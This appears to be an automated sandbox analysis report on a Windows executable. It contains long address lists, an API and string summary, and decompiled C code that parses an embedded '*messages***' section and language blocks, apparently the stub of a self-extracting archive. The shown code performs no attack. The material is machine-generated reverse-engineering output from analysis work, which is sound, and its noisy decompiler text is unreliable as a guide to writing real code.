0x0136b6d9
0x00000000
0x0136b708
0x0136b716
0x0136b71c
0x0136b71e
0x0136b72a
0x0136b72a
0x00000000
0x0136b71e
0x0136b706
0x0136b6d1
0x00000000
0x0136b75f
0x0136b761
0x0136b7b4
0x0136b7b9
0x0136b7c2
0x0136b7c3
0x0136b7c9
0x0136b7ce
0x0136b7d1
0x0136b7d3
0x0136b7d5
0x0136b7da
0x0136b7dc
0x0136b7de
0x0136b7de
0x0136b7e0
0x0136b7e0
0x0136b7e5
0x0136b7ea
0x0136b7eb
0x0136b7eb
0x0136b7ec
0x0136b7ee
0x0136b7f5
0x0136b7fa
0x0136b7ee
0x00000000
0x00000000
0x0136b800
0x0136b802
0x0136b812
0x0136b812
0x00000000
0x00000000
0x0136b81d
0x0136b81f
0x00000000
0x00000000
0x0136b825
0x0136b82c
0x00000000
0x00000000
0x0136b832
0x0136b834
0x0136b83a
0x0136b83c
0x0136b843
0x0136b844
0x0136b84b
0x0136b84d
0x0136b84d
0x0136b854
0x0136b859
0x0136b85f
0x0136b861
0x00000000
0x0136b867
0x0136b867
0x0136b86a
0x0136b86c
0x0136b86d
0x0136b870
0x0136b899
0x0136b899
0x0136b89c
0x0136b981
0x0136b98a
0x0136b98f
0x0136b98f
0x0136b991
0x0136b991
0x0136b993
0x0136b995
0x0136b99c
0x0136b9a1
0x0136b9a2
0x0136b9a3
0x0136b9a5
0x0136b9a7
0x0136b9ab
0x0136b9ad
0x0136b9ad
0x0136b9af
0x0136b9af
0x0136b9ab
0x0136b9b3
0x0136b9b9
0x0136b9c6
0x0136b9cd
0x0136b9dd
0x0136b9e7
0x0136b9ef
0x0136b9fb
0x0136b9fd
0x0136ba05
0x0136ba0a
0x0136ba0b
0x0136ba0c
0x0136ba0e
0x0136ba1b
0x0136ba24
0x0136ba24
0x00000000
0x0136ba0e
0x0136b8a2
0x0136b8a5
0x0136b8b2
0x0136b8b2
0x0136b8b5
0x0136b8b7
0x0136b8b8
0x0136b8ba
0x0136b8bb
0x0136b8c0
0x0136b8c5
0x0136b8cb
0x0136b8cd
0x0136b8cf
0x0136b8d2
0x0136b8d9
0x0136b8da
0x0136b8e0
0x0136b8e1
0x0136b8e4
0x0136b8e5
0x0136b8e6
0x0136b8eb
0x0136b8ee
0x0136b8f4
0x0136b8fd
0x0136b900
0x0136b905
0x0136b907
0x0136b909
0x0136b90b
0x0136b90b
0x0136b90d
0x0136b90d
0x0136b90f
0x0136b90f
0x0136b917
0x0136b91e
0x0136b920
0x0136b927
0x0136b92d
0x0136b92f
0x0136b930
0x0136b938
0x0136b947
0x0136b947
0x0136b938
0x0136b952
0x0136b954
0x0136b963
0x0136b969
0x0136b96f
0x0136b97a
0x0136b97a
0x00000000
0x0136b96f
0x0136b8a7
0x0136b8ac
0x00000000
0x00000000
0x00000000
0x0136b8ac
0x0136b872
0x0136b876
0x00000000
0x00000000
0x0136b878
0x0136b87b
0x0136b87d
0x0136b880
0x00000000
0x0136b886
0x0136b88f
0x00000000
0x0136b88f
0x0136b880
0x00000000
0x0136ba2b
0x0136ba2c
0x0136ba31
0x0136ba33
0x0136ba36
0x0136ba36
0x00000000
0x0136ba6c
0x0136ba73
0x0136ba75
0x0136ba75
0x0136ba77
0x0136baa6
0x0136baa6
0x0136baac
0x00000000
0x0136baac
0x0136ba79
0x0136ba79
0x0136ba7c
0x0136ba95
0x0136ba9b
0x0136ba9b
0x00000000
0x0136ba9b
0x0136ba7e
0x0136ba7e
0x0136ba81
0x00000000
0x00000000
0x0136ba83
0x0136ba83
0x0136ba86
0x00000000
0x00000000
0x0136ba8c
0x00000000
0x00000000
0x0136baf9
0x0136bafc
0x00000000
0x00000000
0x0136bafe
0x0136bb0a
0x0136bb0f
0x0136bb10
0x0136bb11
0x0136bb13
0x00000000
0x00000000
0x0136bb15
0x00000000
0x00000000
0x0136bb5b
0x0136bb5e
0x0136bcdf
0x0136bcdf
0x0136bce2
0x0136bce8
0x0136bcef
0x0136bcf1
0x0136bcf1
0x0136bcfb
0x0136bcfb
0x00000000
0x0136bce2
0x0136bb64
0x0136bb6a
0x0136bb78
0x0136bb84
0x0136bb86
0x0136bb88
0x0136bb8d
0x0136bb8d
0x0136bba5
0x0136bbb2
0x0136bbb7
0x0136bbb9
0x00000000
0x00000000
0x0136bb8b
0x0136bb8b
0x0136bb8c
0x0136bb8c
0x0136bbc5
0x0136bbcb
0x0136bbd3
0x00000000
0x00000000
0x0136bbd9
0x0136bbe0
0x00000000
0x00000000
0x0136bbe6
0x0136bbe8
0x0136bbef
0x0136bbf5
0x0136bbf7
0x0136bbf8
0x0136bbfd
0x0136bbfe
0x0136bbff
0x0136bc01
0x0136bc55
0x0136bc55
0x0136bc5d
0x0136bc6b
0x0136bc7c
0x0136bc8a
0x0136bc8a
0x0136bc96
0x0136bc9b
0x0136bc9d
0x0136bcad
0x0136bcb7
0x0136bcbc
0x0136bcbf
0x00000000
0x0136bcc5
0x0136bcca
0x0136bcca
0x0136bccc
0x0136bcd3
0x0136bcd9
0x00000000
0x0136bcd9
0x0136bcbf
0x0136bc03
0x0136bc05
0x0136bc07
0x0136bc0e
0x00000000
0x00000000
0x0136bc10
0x0136bc12
0x0136bc18
0x0136bc18
0x0136bc1c
0x00000000
0x00000000
0x0136bc1e
0x0136bc1f
0x0136bc25
0x0136bc28
0x0136bc2a
0x0136bc2d
0x00000000
0x00000000
0x00000000
0x0136bc2f
0x0136bc3c
0x0136bc46
0x0136bc4b
0x0136bc4b
0x0136bc4d
0x00000000
0x00000000
0x0136bd07
0x0136bd0a
0x0136bd0c
0x0136bd13
0x0136bd15
0x0136bd1b
0x0136bd1c
0x0136bd21
0x0136bd22
0x0136bd22
0x0136bd27
0x0136bd2a
0x0136bd30
0x0136bd30
0x0136bd35
0x00000000
0x00000000
0x0136bd41
0x0136bd44
0x0136bb25
0x0136bb25
0x00000000
0x0136bb25
0x0136bd4a
0x0136bb16
0x0136bb16
0x0136bb1c
0x0136bb1d
0x0136bb20
0x00000000
0x00000000
0x0136bd51
0x0136bd54
0x00000000
0x00000000
0x0136bd5a
0x0136bd5c
0x0136bd63
0x0136bd6b
0x0136bd71
0x0136bd76
0x0136bd79
0x0136bdae
0x0136bdb3
0x0136bdb9
0x0136bdba
0x0136bdbf
0x0136bd7b
0x0136bd7b
0x0136bd7e
0x0136bd84
0x0136bd9a
0x0136bd9f
0x0136bda0
0x0136bda5
0x0136bd86
0x0136bd86
0x0136bd8b
0x0136bd8c
0x0136bd91
0x0136bd91
0x0136bd84
0x0136bdc6
0x0136bdc8
0x0136bdcf
0x0136bddd
0x0136bde4
0x0136bde9
0x0136bdea
0x0136bdeb
0x0136bded
0x0136bdee
0x0136bdf5
0x0136be45
0x0136be4a
0x0136be4c
0x00000000
0x00000000
0x0136be52
0x0136be54
0x0136be5a
0x0136be61
0x00000000
0x00000000
0x0136be63
0x0136be65
0x0136be66
0x0136be66
0x0136be69
0x0136be6c
0x0136be76
0x0136be76
0x0136be78
0x0136be7a
0x0136be84
0x0136be89
0x0136be8b
0x0136bec9
0x0136becc
0x0136becc
0x0136bece
0x0136becf
0x0136becf
0x00000000
0x0136becf
0x0136be8d
0x0136be8f
0x0136be90
0x0136be92
0x0136be95
0x0136beaa
0x0136beac
0x0136bead
0x0136bead
0x0136beb0
0x0136beb0
0x0136beb5
0x0136beb6
0x0136bebc
0x0136bebc
0x0136bebd
0x0136bec2
0x0136bec3
0x0136bec4
0x00000000
0x0136bec4
0x0136be97
0x0136be9e
0x0136bea1
0x0136bea2
0x00000000
0x0136bea2
0x0136be6e
0x0136be70
0x0136be71
0x0136be74
0x00000000
0x00000000
0x00000000
0x0136bed1
0x0136bed1
0x0136bed4
0x0136bed4
0x0136bed9
0x0136bedb
0x0136bedd
0x0136bedd
0x0136bedf
0x0136bedf
0x00000000
0x0136bdf7
0x0136bdfe
0x0136be0a
0x0136be10
0x0136be11
0x0136be12
0x0136be17
0x0136be1a
0x0136be1c
0x0136be22
0x0136be24
0x0136be32
0x0136be37
0x0136be38
0x0136be38
0x0136bee2
0x0136bee2
0x0136beea
0x0136beef
0x0136bef1
0x0136bef2
0x0136bef8
0x0136bef9
0x0136beff
0x0136bf00
0x0136bf00
0x0136bf05
0x0136bf06
0x0136bf0c
0x0136bf0d
0x0136bf13
0x0136bf14
0x0136bf19
0x0136bf21
0x0136bf2d
0x0136bf2d
0x0136bf3a
0x0136bf3f
0x0136bf47
0x0136bf51
0x0136bf5e
0x0136bf65
0x0136bf65
0x0136bf71
0x0136bf78
0x0136bf7d
0x0136bf85
0x0136bf8b
0x0136bf8c
0x0136bf8d
0x0136bf8f
0x0136bf8f
0x0136bfa4
0x0136bfa9
0x0136bfb5
0x0136bfb7
0x0136bfc8
0x0136bfd5
0x00000000
0x0136bfb9
0x0136bfc4
0x0136bfc6
0x0136bfda
0x0136bfda
0x0136bfdc
0x0136bfe2
0x0136bfe8
0x0136bff6
0x0136bffb
0x0136bffc
0x0136c004
0x0136c009
0x0136c010
0x0136c016
0x0136c018
0x0136c01e
0x0136c024
0x0136c026
0x0136c02f
0x0136c032
0x0136c034
0x0136c03d
0x0136c040
0x0136c046
0x0136c049
0x0136c052
0x0136c061
0x0136c066
0x0136c06e
0x0136c070
0x0136c071
0x0136c077
0x0136c078
0x0136c07a
0x0136c07f
0x0136c07f
0x00000000
0x0136c06e
0x00000000
0x0136bfc6
0x0136bfb7
0x00000000
0x0136c087
0x0136c08a
0x0136c08c
0x0136c08c
0x00000000
0x00000000
0x0136bab8
0x0136bac0
0x0136bac6
0x0136bac9
0x0136baed
0x0136bacb
0x0136bacb
0x0136bace
0x0136bae1
0x0136bad0
0x0136bad0
0x0136bad2
0x0136bad7
0x0136bad7
0x0136bace
0x00000000
0x00000000
0x0136bb31
0x0136bb32
0x0136bb37
0x0136bb37
0x0136bb37
0x0136bb3a
0x0136bb3f
0x0136bb45
0x0136bb45
0x0136bb4b
0x0136bb51
0x0136bb51
0x00000000
0x00000000
0x0136b52a
0x0136b52c
0x0136b531
0x0136b537
0x0136b53a
0x00000000
0x0136b53c
0x0136b53c
0x00000000
0x0136b53c
0x0136c093
0x0136c093
0x0136c098
0x0136c09c
0x0136c0a0
0x0136c0a7
0x0136c0ae
0x0136c0b1
0x0136c0b6
0x0136c0b9
0x0136c0bc
0x0136c0c6

APIs

__EH_prolog.LIBCMT ref: 0136B4CC

Part of subcall function 0136A156: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0136A21E

SetFileAttributesW.KERNEL32(?,00000005,?,?,?,00000800,?,?,00000000,00000001,0136ADDF,?,00000000), ref: 0136B601
GetFileAttributesW.KERNEL32(?), ref: 0136B6BB
DeleteFileW.KERNEL32(?), ref: 0136B6C9
SetWindowTextW.USER32(?,?), ref: 0136B812
_wcsrchr.LIBVCRUNTIME ref: 0136B99C
GetDlgItem.USER32(?,00000066), ref: 0136B9D7
SetWindowTextW.USER32(00000000,?), ref: 0136B9E7
SendMessageW.USER32(00000000,00000143,00000000,01399602), ref: 0136B9FB
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0136BA24

Strings

ProgramFilesDir, xrefs: 0136B8E6
%s.%d.tmp, xrefs: 0136B6E1
<br>, xrefs: 0136B775
Software\Microsoft\Windows\CurrentVersion, xrefs: 0136B8BB

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesMessageSendTextWindow$DeleteEnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3676479488-312220925
Opcode ID: 605766a4ce928bab4f64db95f0f7607a14e28dbb16bc439451bec43100f2f0f5
Instruction ID: b76425bbf87354025c1512d552a16b75eaf6c68b3c247df5e84d819f472bf7a6
Opcode Fuzzy Hash: 605766a4ce928bab4f64db95f0f7607a14e28dbb16bc439451bec43100f2f0f5
Instruction Fuzzy Hash: EEE18972900219AAEF25EBA8DD44EEFB77CEF05354F0480A6E549E3148EE749B44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0135CFD0, Relevance: 23.3, APIs: 4, Strings: 9, Instructions: 557
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0135CFD0(signed int __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t196;
				void* _t197;
				WCHAR* _t198;
				void* _t203;
				signed int _t212;
				signed int _t215;
				signed int _t218;
				signed int _t228;
				void* _t229;
				void* _t232;
				signed int _t235;
				signed int _t237;
				signed int _t238;
				signed int _t239;
				signed int _t244;
				signed int _t248;
				signed int _t262;
				signed int _t267;
				signed int _t268;
				signed int _t270;
				signed int _t272;
				signed int _t273;
				void* _t274;
				signed int _t279;
				char* _t280;
				signed int _t284;
				short _t287;
				void* _t288;
				signed int _t294;
				signed int _t299;
				void* _t302;
				void* _t304;
				void* _t307;
				signed int _t316;
				signed int _t318;
				unsigned int _t328;
				signed int _t330;
				unsigned int _t333;
				signed int _t336;
				void* _t343;
				signed int _t348;
				signed int _t351;
				signed int _t352;
				signed int _t357;
				signed int _t361;
				void* _t370;
				signed int _t372;
				signed int _t373;
				void* _t374;
				void* _t375;
				intOrPtr* _t376;
				signed int _t377;
				signed int _t380;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t384;
				signed int _t387;
				signed int _t389;
				signed int* _t390;
				void* _t391;
				void* _t392;
				void* _t394;
				void* _t398;
				void* _t399;

				_t370 = __edx;
				_t318 = __ecx;
				_t392 = _t391 - 0x6c;
				E0136D870(E013813DF, _t390);
				E0136D940();
				_t196 = 0x5c;
				_push(0x427c);
				_push(_t390[0x1e]);
				_t387 = _t318;
				_t390[0x11] = _t196;
				_t390[0x12] = _t387;
				_t197 = E01370BB8(_t318);
				_t316 = 0;
				_t396 = _t197;
				_t198 = _t390 - 0x1264;
				if(_t197 != 0) {
					E0135FAB1(_t198, _t390[0x1e], 0x800);
				} else {
					GetModuleFileNameW(0, _t198, 0x800);
					 *((short*)(E0135B943(_t396, _t390 - 0x1264))) = 0;
					E0135FA89(_t396, _t390 - 0x1264, _t390[0x1e], 0x800);
				}
				E0135943C(_t390 - 0x2288);
				_push(4);
				 *(_t390 - 4) = _t316;
				_push(_t390 - 0x1264);
				if(E01359768(_t390 - 0x2288, _t387) == 0) {
					L57:
					_t203 = E0135946E(_t390 - 0x2288); // executed
					 *[fs:0x0] =  *((intOrPtr*)(_t390 - 0xc));
					return _t203;
				} else {
					_t380 = _t316;
					_t398 =  *0x138d5f4 - _t380; // 0x63
					if(_t398 <= 0) {
						L7:
						E01375030(_t316, _t380, _t387,  *_t387,  *((intOrPtr*)(_t387 + 4)), 4, E0135CC62);
						E01375030(_t316, _t380, _t387,  *((intOrPtr*)(_t387 + 0x14)),  *((intOrPtr*)(_t387 + 0x18)), 4, E0135CBC7);
						_t394 = _t392 + 0x20;
						_t390[0x1e] = _t316;
						_t381 = _t380 | 0xffffffff;
						_t390[0x16] = _t316;
						_t390[0x19] = _t381;
						while(_t381 == 0xffffffff) {
							_t390[0x1b] = E01359B57();
							_t294 = E01359979(_t370, _t390 - 0x4288, 0x2000);
							_t390[0x17] = _t294;
							_t384 = _t316;
							_t25 = _t294 - 0x10; // -16
							_t361 = _t25;
							_t390[0x15] = _t361;
							if(_t361 < 0) {
								L25:
								_t295 = _t390[0x1b];
								_t381 = _t390[0x19];
								L26:
								E01359A4C(_t390 - 0x2288, _t390, _t295 + _t390[0x17] + 0xfffffff0, _t316, _t316);
								_t299 = _t390[0x16] + 1;
								_t390[0x16] = _t299;
								__eflags = _t299 - 0x100;
								if(_t299 < 0x100) {
									continue;
								}
								__eflags = _t381 - 0xffffffff;
								if(_t381 == 0xffffffff) {
									goto L57;
								}
								break;
							}
							L10:
							while(1) {
								if( *((char*)(_t390 + _t384 - 0x4288)) != 0x2a ||  *((char*)(_t390 + _t384 - 0x4287)) != 0x2a) {
									L14:
									_t370 = 0x2a;
									if( *((intOrPtr*)(_t390 + _t384 - 0x4288)) != _t370) {
										L18:
										if( *((char*)(_t390 + _t384 - 0x4288)) != 0x52 ||  *((char*)(_t390 + _t384 - 0x4287)) != 0x61) {
											L21:
											_t384 = _t384 + 1;
											if(_t384 > _t390[0x15]) {
												goto L25;
											}
											_t294 = _t390[0x17];
											continue;
										} else {
											_t302 = E01375460(_t390 - 0x4286 + _t384, 0x138261c, 4);
											_t394 = _t394 + 0xc;
											if(_t302 == 0) {
												goto L57;
											}
											goto L21;
										}
									}
									_t366 = _t390 - 0x4284 + _t384;
									if( *((intOrPtr*)(_t390 - 0x4284 + _t384 - 2)) == _t370 && _t384 <= _t294 + 0xffffffe0) {
										_t304 = E01374DA0(_t366, L"*messages***", 0xb);
										_t394 = _t394 + 0xc;
										if(_t304 == 0) {
											_t390[0x1e] = 1;
											goto L24;
										}
									}
									goto L18;
								} else {
									_t307 = E01375460(_t390 - 0x4286 + _t384, "*messages***", 0xb);
									_t394 = _t394 + 0xc;
									if(_t307 == 0) {
										L24:
										_t295 = _t390[0x1b];
										_t381 = _t384 + _t390[0x1b];
										_t390[0x19] = _t381;
										goto L26;
									}
									_t294 = _t390[0x17];
									goto L14;
								}
							}
						}
						asm("cdq");
						E01359A4C(_t390 - 0x2288, _t390, _t381, _t370, _t316);
						_push(0x200002);
						_t382 = E01372B53(_t390 - 0x2288);
						_t390[0x1a] = _t382;
						__eflags = _t382;
						if(_t382 == 0) {
							goto L57;
						}
						_t328 = E01359979(_t370, _t382, 0x200000);
						_t390[0x19] = _t328;
						__eflags = _t390[0x1e];
						if(_t390[0x1e] == 0) {
							_push(2 + _t328 * 2);
							_t212 = E01372B53(_t328);
							_t390[0x1e] = _t212;
							__eflags = _t212;
							if(_t212 == 0) {
								goto L57;
							}
							_t330 = _t390[0x19];
							 *(_t330 + _t382) = _t316;
							__eflags = _t330 + 1;
							E01360FDE(_t382, _t212, _t330 + 1);
							L01372B4E(_t382);
							_t382 = _t390[0x1e];
							_t333 = _t390[0x19];
							_t390[0x1a] = _t382;
							L33:
							_t215 = 0x100000;
							__eflags = _t333 - 0x100000;
							if(_t333 <= 0x100000) {
								_t215 = _t333;
							}
							 *((short*)(_t382 + _t215 * 2)) = 0;
							E0135FA56(_t390 - 0xd4, 0x1382624, 0x64);
							_push(0x20002);
							_t218 = E01372B53(0);
							_t390[0x1b] = _t218;
							__eflags = _t218;
							if(_t218 != 0) {
								__eflags = _t390[0x19];
								_t336 = _t316;
								_t371 = _t316;
								_t390[0x1e] = _t336;
								 *_t390 = _t316;
								_t383 = _t316;
								_t390[0x17] = _t316;
								if(_t390[0x19] <= 0) {
									L54:
									E0135CB33(_t387, _t371, _t390, _t218, _t336);
									L01372B4E(_t390[0x1a]);
									L01372B4E(_t390[0x1b]);
									__eflags =  *((intOrPtr*)(_t387 + 0x2c)) - _t316;
									if( *((intOrPtr*)(_t387 + 0x2c)) <= _t316) {
										L56:
										 *0x1390124 =  *((intOrPtr*)(_t387 + 0x28));
										E01375030(_t316, _t383, _t387,  *((intOrPtr*)(_t387 + 0x3c)),  *((intOrPtr*)(_t387 + 0x40)), 4, E0135CD08);
										E01375030(_t316, _t383, _t387,  *((intOrPtr*)(_t387 + 0x50)),  *((intOrPtr*)(_t387 + 0x54)), 4, E0135CD37);
										goto L57;
									} else {
										goto L55;
									}
									do {
										L55:
										E01363393(_t387 + 0x3c, _t371, _t316);
										E01363393(_t387 + 0x50, _t371, _t316);
										_t316 = _t316 + 1;
										__eflags = _t316 -  *((intOrPtr*)(_t387 + 0x2c));
									} while (_t316 <  *((intOrPtr*)(_t387 + 0x2c)));
									goto L56;
								}
								_t390[0x14] = 0xd;
								_t390[0x13] = 0xa;
								_t390[0x15] = 9;
								do {
									_t228 = _t390[0x1a];
									__eflags = _t383;
									if(_t383 == 0) {
										L80:
										_t372 =  *(_t228 + _t383 * 2) & 0x0000ffff;
										_t383 = _t383 + 1;
										__eflags = _t372;
										if(_t372 == 0) {
											break;
										}
										__eflags = _t372 - _t390[0x11];
										if(_t372 != _t390[0x11]) {
											_t229 = 0xd;
											__eflags = _t372 - _t229;
											if(_t372 == _t229) {
												L99:
												E0135CB33(_t387, _t390[0x17], _t390, _t390[0x1b], _t336);
												 *_t390 = _t316;
												_t336 = _t316;
												_t390[0x17] = _t316;
												L98:
												_t390[0x1e] = _t336;
												goto L52;
											}
											_t232 = 0xa;
											__eflags = _t372 - _t232;
											if(_t372 == _t232) {
												goto L99;
											}
											L96:
											__eflags = _t336 - 0x10000;
											if(_t336 >= 0x10000) {
												goto L52;
											}
											 *(_t390[0x1b] + _t336 * 2) = _t372;
											_t336 = _t336 + 1;
											__eflags = _t336;
											goto L98;
										}
										__eflags = _t336 - 0x10000;
										if(_t336 >= 0x10000) {
											goto L52;
										}
										_t235 = ( *(_t228 + _t383 * 2) & 0x0000ffff) - 0x22;
										__eflags = _t235;
										if(_t235 == 0) {
											_push(0x22);
											L93:
											_pop(_t377);
											 *(_t390[0x1b] + _t336 * 2) = _t377;
											_t336 = _t336 + 1;
											_t390[0x1e] = _t336;
											_t383 = _t383 + 1;
											goto L52;
										}
										_t237 = _t235 - 0x3a;
										__eflags = _t237;
										if(_t237 == 0) {
											_push(0x5c);
											goto L93;
										}
										_t238 = _t237 - 0x12;
										__eflags = _t238;
										if(_t238 == 0) {
											_push(0xa);
											goto L93;
										}
										_t239 = _t238 - 4;
										__eflags = _t239;
										if(_t239 == 0) {
											_push(0xd);
											goto L93;
										}
										__eflags = _t239 != 0;
										if(_t239 != 0) {
											goto L96;
										}
										_push(9);
										goto L93;
									}
									_t373 =  *(_t228 + _t383 * 2 - 2) & 0x0000ffff;
									__eflags = _t373 - _t390[0x14];
									if(_t373 == _t390[0x14]) {
										L42:
										_t343 = 0x3a;
										__eflags =  *(_t228 + _t383 * 2) - _t343;
										if( *(_t228 + _t383 * 2) != _t343) {
											L71:
											_t390[0x18] = _t228 + _t383 * 2;
											_t244 = E0135F91A( *(_t228 + _t383 * 2) & 0x0000ffff);
											__eflags = _t244;
											if(_t244 == 0) {
												L79:
												_t336 = _t390[0x1e];
												_t228 = _t390[0x1a];
												goto L80;
											}
											E0135FAB1(_t390 - 0x264, _t390[0x18], 0x64);
											_t248 = E01374E1D(_t390 - 0x264, L" \t,");
											_t390[0x18] = _t248;
											__eflags = _t248;
											if(_t248 == 0) {
												goto L79;
											}
											 *_t248 = 0;
											E013611FA(_t390 - 0x264, _t390 - 0x138, 0x64);
											E0135FA56(_t390 - 0x70, _t390 - 0xd4, 0x64);
											E0135FA2F(__eflags, _t390 - 0x70, _t390 - 0x138, 0x64);
											E0135FA56(_t390, _t390 - 0x70, 0x32);
											_t262 = E01374E71(_t316, 0, _t383, _t387, _t390 - 0x70,  *_t387,  *((intOrPtr*)(_t387 + 4)), 4, E0135CCED);
											_t394 = _t394 + 0x14;
											__eflags = _t262;
											if(_t262 != 0) {
												_t268 =  *_t262 * 0xc;
												__eflags = _t268;
												_t167 = _t268 + 0x138d150; // 0x28b64ee0
												_t390[0x17] =  *_t167;
											}
											_t383 = _t383 + (_t390[0x18] - _t390 - 0x264 >> 1) + 1;
											__eflags = _t383;
											_t267 = _t390[0x1a];
											_t374 = 0x20;
											while(1) {
												_t348 =  *(_t267 + _t383 * 2) & 0x0000ffff;
												__eflags = _t348 - _t374;
												if(_t348 == _t374) {
													goto L78;
												}
												L77:
												_t174 =  &(_t390[0x15]); // 0x9
												__eflags = _t348 -  *_t174;
												if(_t348 !=  *_t174) {
													L51:
													_t336 = _t390[0x1e];
													goto L52;
												}
												L78:
												_t383 = _t383 + 1;
												_t348 =  *(_t267 + _t383 * 2) & 0x0000ffff;
												__eflags = _t348 - _t374;
												if(_t348 == _t374) {
													goto L78;
												}
												goto L77;
											}
										}
										_t389 = _t390[0x1a];
										_t270 = _t228 | 0xffffffff;
										__eflags = _t270;
										_t390[0x16] = _t270;
										_t390[0xd] = L"STRINGS";
										_t390[0xe] = L"DIALOG";
										_t390[0xf] = L"MENU";
										_t390[0x10] = L"DIRECTION";
										_t390[0x18] = _t316;
										do {
											_t390[0x18] = E01372B33( *((intOrPtr*)(_t390 + 0x34 + _t316 * 4)));
											_t272 = E01374DA0(_t389 + 2 + _t383 * 2,  *((intOrPtr*)(_t390 + 0x34 + _t316 * 4)), _t271);
											_t394 = _t394 + 0x10;
											_t375 = 0x20;
											__eflags = _t272;
											if(_t272 != 0) {
												L47:
												_t273 = _t390[0x16];
												goto L48;
											}
											_t357 = _t390[0x18] + _t383;
											__eflags =  *((intOrPtr*)(_t389 + 2 + _t357 * 2)) - _t375;
											if( *((intOrPtr*)(_t389 + 2 + _t357 * 2)) > _t375) {
												goto L47;
											}
											_t273 = _t316;
											_t383 = _t357 + 1;
											_t390[0x16] = _t273;
											L48:
											_t316 = _t316 + 1;
											__eflags = _t316 - 4;
										} while (_t316 < 4);
										_t387 = _t390[0x12];
										_t316 = 0;
										__eflags = _t273;
										if(__eflags != 0) {
											_t228 = _t390[0x1a];
											if(__eflags <= 0) {
												goto L71;
											} else {
												goto L59;
											}
											while(1) {
												L59:
												_t351 =  *(_t228 + _t383 * 2) & 0x0000ffff;
												__eflags = _t351 - _t375;
												if(_t351 == _t375) {
													goto L61;
												}
												L60:
												_t132 =  &(_t390[0x15]); // 0x9
												__eflags = _t351 -  *_t132;
												if(_t351 !=  *_t132) {
													_t376 = _t228 + _t383 * 2;
													_t390[0x18] = _t316;
													_t274 = 0x20;
													_t352 = _t316;
													__eflags =  *_t376 - _t274;
													if( *_t376 <= _t274) {
														L66:
														 *((short*)(_t390 + _t352 * 2 - 0x19c)) = 0;
														E013611FA(_t390 - 0x19c, _t390 - 0x70, 0x64);
														_t383 = _t383 + _t390[0x18];
														_t279 = _t390[0x16];
														__eflags = _t279 - 3;
														if(_t279 != 3) {
															__eflags = _t279 - 1;
															_t280 = "$%s:";
															if(_t279 != 1) {
																_t280 = "@%s:";
															}
															E0135D9DC(_t390 - 0xd4, 0x64, _t280, _t390 - 0x70);
															_t394 = _t394 + 0x10;
														} else {
															_t284 = E01372B69(_t390 - 0x19c, _t390 - 0x19c, L"RTL");
															asm("sbb al, al");
															 *((char*)(_t387 + 0x64)) =  ~_t284 + 1;
														}
														goto L51;
													} else {
														goto L63;
													}
													while(1) {
														L63:
														__eflags = _t352 - 0x63;
														if(_t352 >= 0x63) {
															break;
														}
														_t287 =  *_t376;
														_t376 = _t376 + 2;
														 *((short*)(_t390 + _t352 * 2 - 0x19c)) = _t287;
														_t352 = _t352 + 1;
														_t288 = 0x20;
														__eflags =  *_t376 - _t288;
														if( *_t376 > _t288) {
															continue;
														}
														break;
													}
													_t390[0x18] = _t352;
													goto L66;
												}
												L61:
												_t383 = _t383 + 1;
												L59:
												_t351 =  *(_t228 + _t383 * 2) & 0x0000ffff;
												__eflags = _t351 - _t375;
												if(_t351 == _t375) {
													goto L61;
												}
												goto L60;
											}
										}
										E0135FA56(_t390 - 0xd4, 0x1382624, 0x64);
										goto L51;
									}
									__eflags = _t373 - _t390[0x13];
									if(_t373 != _t390[0x13]) {
										goto L80;
									}
									goto L42;
									L52:
									__eflags = _t383 - _t390[0x19];
								} while (_t383 < _t390[0x19]);
								_t218 = _t390[0x1b];
								_t371 = _t390[0x17];
								goto L54;
							} else {
								L01372B4E(_t382);
								goto L57;
							}
						}
						_t333 = _t328 >> 1;
						_t390[0x19] = _t333;
						goto L33;
					} else {
						goto L5;
					}
					do {
						L5:
						E01363393(_t387, _t370, _t380);
						E01363393(_t387 + 0x14, _t370, _t380);
						_t380 = _t380 + 1;
						_t399 = _t380 -  *0x138d5f4; // 0x63
					} while (_t399 < 0);
					_t316 = 0;
					goto L7;
				}
			}

0x0135cfd0
0x0135cfd0
0x0135cfd1
0x0135cfd9
0x0135cfe3
0x0135cfed
0x0135cfee
0x0135cfef
0x0135cff2
0x0135cff4
0x0135cff7
0x0135cffa
0x0135d000
0x0135d002
0x0135d005
0x0135d00b
0x0135d047
0x0135d00d
0x0135d015
0x0135d02d
0x0135d037
0x0135d037
0x0135d052
0x0135d057
0x0135d05f
0x0135d062
0x0135d070
0x0135d42d
0x0135d433
0x0135d43e
0x0135d449
0x0135d076
0x0135d076
0x0135d078
0x0135d07e
0x0135d09c
0x0135d0a8
0x0135d0ba
0x0135d0bf
0x0135d0c2
0x0135d0c5
0x0135d0c8
0x0135d0cb
0x0135d0ce
0x0135d0e2
0x0135d0f7
0x0135d0fc
0x0135d0ff
0x0135d101
0x0135d101
0x0135d104
0x0135d109
0x0135d1c8
0x0135d1c8
0x0135d1cb
0x0135d1ce
0x0135d1df
0x0135d1e7
0x0135d1e8
0x0135d1eb
0x0135d1f0
0x00000000
0x00000000
0x0135d1f6
0x0135d1f9
0x00000000
0x00000000
0x00000000
0x0135d1f9
0x00000000
0x0135d10f
0x0135d117
0x0135d142
0x0135d144
0x0135d14d
0x0135d178
0x0135d180
0x0135d1ac
0x0135d1ac
0x0135d1b0
0x00000000
0x00000000
0x0135d1b2
0x00000000
0x0135d18c
0x0135d19c
0x0135d1a1
0x0135d1a6
0x00000000
0x00000000
0x00000000
0x0135d1a6
0x0135d180
